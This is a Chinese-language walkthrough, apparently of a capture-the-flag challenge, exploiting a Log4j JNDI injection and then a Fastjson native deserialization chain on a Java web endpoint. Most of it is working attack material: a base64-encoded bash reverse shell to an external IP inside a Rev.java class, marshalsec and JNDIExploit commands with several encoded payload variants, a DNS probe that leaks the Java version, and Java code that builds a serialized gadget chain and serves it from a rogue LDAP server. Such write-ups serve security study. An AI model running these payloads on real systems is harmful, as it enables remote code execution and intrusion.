目录

访问/webstudy/hello-fengxuan

post传参
c=${jndi:ldap://124.222.136.33:1339/#aaa}
Rev.java
- import java.io.IOException;
-
- public class Rev {
- static {
- try {
- Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}");
- } catch (IOException e) {
- throw new RuntimeException(e);
- }
- }
- }
javac Rev.java得到Rev.class

1339端口起一个恶意ldap服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://124.222.136.33:1338/#Rev" 1339

把恶意字节码放在1338端口
python -m http.server 1338

监听,反弹shell


这次换JNDIExploit来打,简单又方便啊家人们😋
JNDIExploit使用 - FreeBuf网络安全行业门户
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 124.222.136.33

payload:
- ${jndi:ldap://124.222.136.33:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}
-
- ${jndi:ldap://124.222.136.33:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA%2BJjE%3D}
-
- %24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%32%34%2e%32%32%32%2e%31%33%36%2e%33%33%3a%31%33%38%39%2f%54%6f%6d%63%61%74%42%79%70%61%73%73%2f%43%6f%6d%6d%61%6e%64%2f%42%61%73%65%36%34%2f%59%6d%46%7a%61%43%41%74%61%53%41%25%32%42%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%6a%51%75%4d%6a%49%79%4c%6a%45%7a%4e%69%34%7a%4d%79%38%78%4d%7a%4d%33%49%44%41%25%32%42%4a%6a%45%25%33%44%7d
监听,反弹shell


dns探测出java版本为jdk8u202
{{urlenc(${jndi:dns://${sys:java.version}.sd9aimlz7lgzvmafhvj1z4o5vw1nped3.oastify.com})}}

高版本下打jndi不能加载远程恶意类,所以选择打二次反序列化的方式,用的是fj1.2.8的原生反序列化链子
【Web】浅聊Fastjson原生反序列化——原理与高版本绕过_fastjson 原生反序列化-CSDN博客
EXP.java
- package org.example;
-
- import com.alibaba.fastjson.JSONArray;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import javassist.ClassPool;
- import javassist.CtClass;
- import javassist.CtConstructor;
-
- import javax.management.BadAttributeValueExpException;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.Base64;
- import java.util.HashMap;
-
- public class EXP {
- public static void setValue(Object obj, String name, Object value) throws Exception{
- Field field = obj.getClass().getDeclaredField(name);
- field.setAccessible(true);
- field.set(obj, value);
- }
-
- public static byte[] genPayload(String cmd) throws Exception{
- ClassPool pool = ClassPool.getDefault();
- CtClass clazz = pool.makeClass("a");
- CtClass superClass = pool.get(AbstractTranslet.class.getName());
- clazz.setSuperclass(superClass);
- CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
- constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
- clazz.addConstructor(constructor);
- clazz.getClassFile().setMajorVersion(49);
- return clazz.toBytecode();
- }
-
- public static void main(String[] args) throws Exception {
-
-
- TemplatesImpl templates = TemplatesImpl.class.newInstance();
- setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}")});
- setValue(templates, "_name", "xxx");
- setValue(templates, "_tfactory", null);
-
- JSONArray jsonArray = new JSONArray();
- jsonArray.add(templates);
-
- BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
- setValue(bd, "val", jsonArray);
-
- HashMap hashMap = new HashMap();
- hashMap.put(templates, bd);
-
-
- ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
- objectOutputStream.writeObject(hashMap);
- objectOutputStream.close();
- byte[] serialize = byteArrayOutputStream.toByteArray();
- System.out.println(Base64.getEncoder().encodeToString(serialize));
-
- }}
运行生成的base64payload再放进恶意LDAPServer的回包中
LDAPServer.java
- package org.example;
-
- import com.unboundid.ldap.listener.InMemoryDirectoryServer;
- import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
- import com.unboundid.ldap.listener.InMemoryListenerConfig;
- import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
- import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
- import com.unboundid.ldap.sdk.Entry;
- import com.unboundid.ldap.sdk.LDAPResult;
- import com.unboundid.ldap.sdk.ResultCode;
- import com.unboundid.util.Base64;
-
- import javax.net.ServerSocketFactory;
- import javax.net.SocketFactory;
- import javax.net.ssl.SSLSocketFactory;
- import java.net.InetAddress;
- import java.net.URL;
- //高版本LDAP绕过
-
- public class LDAPServer {
- private static final String LDAP_BASE = "dc=example,dc=com";
-
- public static void main ( String[] tmp_args ) throws Exception{
- String[] args=new String[]{"http://localhost/#Evail"};
- int port = 6666;
-
- InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
- config.setListenerConfigs(new InMemoryListenerConfig(
- "listen", //$NON-NLS-1$
- InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
- port,
- ServerSocketFactory.getDefault(),
- SocketFactory.getDefault(),
- (SSLSocketFactory) SSLSocketFactory.getDefault()));
-
- config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
- InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
- System.out.println("Listening on 0.0.0.0:" + port);
- ds.startListening();
- }
-
- private static class OperationInterceptor extends InMemoryOperationInterceptor {
-
- private URL codebase;
-
- public OperationInterceptor ( URL cb ) {
- this.codebase = cb;
- }
-
- @Override
- public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
- String base = result.getRequest().getBaseDN();
- Entry e = new Entry(base);
- try {
- sendResult(result, base, e);
- }
- catch ( Exception e1 ) {
- e1.printStackTrace();
- }
- }
-
- protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
- URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
- System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
- e.addAttribute("javaClassName", "foo");
- String cbstring = this.codebase.toString();
- int refPos = cbstring.indexOf('#');
- if ( refPos > 0 ) {
- cbstring = cbstring.substring(0, refPos);
- }
-
- e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABs8r+ur4AAAAxABgBAAFhBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEABjxpbml0PgEAAygpVgEABENvZGUMAAUABgoABAAIAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEAYWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1qUXVNakl5TGpFek5pNHpNeTh4TXpNM0lEQStKakU9fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0IABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAClNvdXJjZUZpbGUBAAZhLmphdmEAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAEAFgAAAAIAF3B0AAN4eHhwdwEAeHNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXEAfgAFWwAKc3RhY2tUcmFjZXQAHltMamF2YS9sYW5nL1N0YWNrVHJhY2VFbGVtZW50O0wAFHN1cHByZXNzZWRFeGNlcHRpb25zdAAQTGphdmEvdXRpbC9MaXN0O3hwcQB+ABRwdXIAHltMamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50OwJGKjw8/SI5AgAAeHAAAAABc3IAG2phdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudGEJxZomNt2FAgAESQAKbGluZU51bWJlckwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFeHAAAAAudAAPb3JnLmV4YW1wbGUuRVhQdAAIRVhQLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+ABN4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AIXhzcgAeY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTkFycmF5AAAAAAAAAAECAAFMAARsaXN0cQB+ABN4cHNxAH4AIAAAAAF3BAAAAAFxAH4AB3h4"));
-
- result.sendSearchEntry(e);
- result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- }
- }
- }
把项目打成jar包

打入JNDI
起恶意LDAPServer

监听,反弹shell
